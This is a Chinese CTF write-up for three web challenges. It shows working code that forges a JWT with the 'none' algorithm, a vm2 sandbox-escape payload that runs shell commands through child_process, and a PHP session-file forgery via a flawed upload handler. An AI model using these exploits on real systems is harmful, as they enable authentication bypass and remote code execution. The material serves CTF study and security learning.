easy_login
首頁是登陸注冊頁面
然后根據/app.js
:
可以找到主邏輯代碼/controller/api.js
主要有三個路由:
1./api/register
注冊的username不能為admin,隨機生成secret密鑰,放入secrets[]數組,secretid為數組長度,然后根據{secretid, username, password}, secret,通過HS256的加密方式生成jwt token
2./api/login
首先獲取username,password,token
然后解析token中的secretid賦值給sid,如果不滿足sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)
,則從全局數組中獲取密鑰:secrets[sid]
,並進行jwt驗證,驗證成功則將username存入session
3./api/flag
是admin就返回flag
那么就是需要成為admin了
根據趙總的wp知道,如果加密方式為none,驗證時密鑰為空或者undefined的話,就能直接偽造jwt通過驗證
如下:
上面這個是什么意思呢,首先看到jsonwebtoken庫的源碼中/node_modules/jsonwebtoken/verify.js
第109行,這里的options選項為:algoritms
,
而題目源碼中給的驗證卻是algorithm
那么實際上這就是開發者對jwt庫不了解導致的,所以這里驗證時的HS256實際上在源碼中為none
而如果驗證的方式為none,並且密鑰為空或者undefined的話,就能直接偽造jwt,修改的方法也就是將驗證的參數設置為algorithms,如下,就不會通過驗證
加密時的密鑰我們不可控,而驗證時的密鑰是由sid索引取值的
先看一下源碼sid的邏輯:
sid不能為undefined、null,然后sid即不能>1或<=0
那么sid可以取0-1之間,如0.5
由於js的弱類型,空數組>=0為真
所以空數組也能繞過
為了偽造jwt,我們這里的加密方式也要設置為none,與驗證對應,密鑰隨便,payload:
const jwt = require('jsonwebtoken')
const token = jwt.sign({secretid:[], username:"admin", password:"123"}, '123', {algorithm: 'none'});
console.log(token)
b=jwt.verify(token,undefined,{algorithm: 'HS256'});
console.log(b);
得到
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODE1OTgzOH0.
{ secretid: [], username: 'admin', password: '123', iat: 1588159838 }
登陸的時候替換token
/api/flag
just_escape
考點:github上的issue(Nodejs沙箱逃逸)
試了一堆php都沒什么用,然后無意間試了一下{{7*7}}
跳出來個49,以為這是python,一直在這里浪費時間,沒想到還是Nodejs,看了趙總的wp,原來是根據報錯信息來判斷:
/run.php?code=(function(){
var err = new Error();
return err.stack;
})();
據此可以判斷是Nodejs+vm
而且exp就是github上的issue:
https://github.com/patriksimek/vm2/issues/225
這里由於有過濾,就用數組繞過,然后直接用現成的exp
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
我就想知道師傅們是怎么找到這個issue的
babyupload
考點:sess偽造
這題之前遇到過類似的,但是我把時間浪費在第二題了就沒看...
源碼:
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
首先session中是admin並且有success.txt則顯示flag
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
然后兩個POST參數,direction是用來選擇上傳或讀取的,attr會被拼接到路徑中
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
先看upload
這里會將路徑拼接,也就是:/var/babyctf/$_POST['attr']/文件名_sha256(臨時文件名)
由於這里的session路徑為/var/babyctf/
attr為空,文件名為sess,便可以偽造session文件
不過首先得知道$_SESSION['username']里面有什么,用download查看
這個不可見字符也是一部分,該guest為admin,文件內容有了,下一步是sha256的值,可以在本地搭一個然后上傳sess文件查看:
然后上傳該文件到靶機
上傳之后可以用download查看確認
現在替換sessid的話就是admin了,不過還需要有一個success.txt,由於他這里用的是file_exists,所以我們令attr=success.txt使之成為一個路徑也能通過檢測:這里文件隨便
換sessid